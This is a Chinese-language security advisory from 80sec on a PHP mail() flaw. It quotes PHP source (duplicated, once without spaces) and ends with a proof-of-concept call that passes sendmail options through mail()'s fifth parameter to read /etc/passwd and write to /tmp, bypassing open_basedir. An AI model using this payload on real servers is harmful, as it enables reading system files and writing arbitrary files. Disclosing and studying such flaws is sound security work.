漏洞介绍：php是一款被广泛使用的编程语言，可以被嵌套在html里用做web程序开发，但是80sec发现在php的Mail函数设计上存在问题，可能导致绕过其他的如open_basedir等限制以httpd进程的身份读写任意文件，结合应用程序上下文也可能导致文件读写漏洞。漏洞分析：php的Mail函数在php源码里以如下形式实现： Php 代码复制代码 ...... if(PG(safe_mode)&&(ZEND_NUM_ARGS()==5)){ php_error_docref(NULLTSRMLS_CC,E_WARNING,"SAFEMODERestrictionineffect.ThefifthparameterisdisabledinSAFEMODE."); RETURN_FALSE; } if(zend_parse_parameters(ZEND_NUM_ARGS()TSRMLS_CC,"sss|ss", &to,&to_len, &subject,&subject_len, &message,&message_len, &headers,&headers_len, &extra_cmd,&extra_cmd_len )==FAILURE){ return; } ...... if(force_extra_parameters){ extra_cmd=estrdup(force_extra_parameters); }elseif(extra_cmd){ extra_cmd=php_escape_shell_cmd(extra_cmd); } if(php_mail(to_r,subject_r,message,headers,extra_cmdTSRMLS_CC)){ RETVAL_TRUE; }else{ RETVAL_FALSE; } ..... ...... if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in effect. The fifth parameter is disabled in SAFE MODE."); RETURN_FALSE; } if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sss|ss", &to, &to_len, &subject, &subject_len, &message, &message_len, &headers, &headers_len, &extra_cmd, &extra_cmd_len ) == FAILURE) { return; } ...... if (force_extra_parameters) { extra_cmd = estrdup(force_extra_parameters); } else if (extra_cmd) { extra_cmd = php_escape_shell_cmd(extra_cmd); } if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) { RETVAL_TRUE; } else { RETVAL_FALSE; } ..... 在php_mail中 Php 代码复制代码 PHPAPIintphp_mail(char*to,char*subject,char*message,char*headers,char*extra_cmdTSRMLS_DC) { .... FILE*sendmail; intret; char*sendmail_path=INI_STR("sendmail_path"); char*sendmail_cmd=NULL; .... if(extra_cmd!=NULL){ sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2); strcpy(sendmail_cmd,sendmail_path); strcat(sendmail_cmd,""); strcat(sendmail_cmd,extra_cmd); }else{ sendmail_cmd=sendmail_path; } .... /*Sincepopen()doesn'tindicateiftheinternalfork()doesn'twork *(e.g.theshellcan'tbeexecuted)weexplicitelysetitto0tobe *surewedon'tcatchanyoldererrnovalue.*/ errno=0; sendmail=popen(sendmail_cmd,"w"); PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd TSRMLS_DC) { .... FILE *sendmail; int ret; char *sendmail_path = INI_STR("sendmail_path"); char *sendmail_cmd = NULL; .... if (extra_cmd != NULL) { sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2); strcpy (sendmail_cmd, sendmail_path); strcat (sendmail_cmd, " "); strcat (sendmail_cmd, extra_cmd); } else { sendmail_cmd = sendmail_path; } .... /* Since popen() doesn't indicate if the internal fork() doesn't work * (e.g. the shell can't be executed) we explicitely set it to 0 to be * sure we don't catch any older errno value. */ errno = 0; sendmail = popen(sendmail_cmd, "w"); 如果是Linux系统，Mail函数将拼接INI_STR(”sendmail_path”)的内容和额外的参数来执行命令，但是额外的参数在拼接之前经过php_escape_shell_cmd的处理，所以我们无法执行额外的命令。但是通过查阅sendmail自身的命令帮助，我们可以发现sendmail的某些参数是可以用来读写文件的，利用这个特性如果我们控制第5个参数的时候我们一样可以获得对文件系统的读写权限并且不受open_basedir等限制。 漏洞测试： Php 代码复制代码 <?php $to='jianxin&80sec.com'.str_repeat("x",10000); $subject='thesubject'.str_repeat("x",10); $message='hello'.str_repeat("x",10); mail($to,$subject,$message,$headers,"-v-bt-X/tmp/80sec-d13-C/etc/passwd"); ?> <?php $to = 'jianxin@80sec.com'.str_repeat("x",10000); $subject = 'the subject'.str_repeat("x",10); $message = 'hello'.str_repeat("x",10); mail($to, $subject, $message, $headers,"-v -bt -X /tmp/80sec -d13 -C /etc/passwd"); ?> 本站内容均为原创，转载请务必保留署名与链接！php mail function open_basedir bypass:http://www.80sec.com/php-mail-function-open_basedir-bypass.html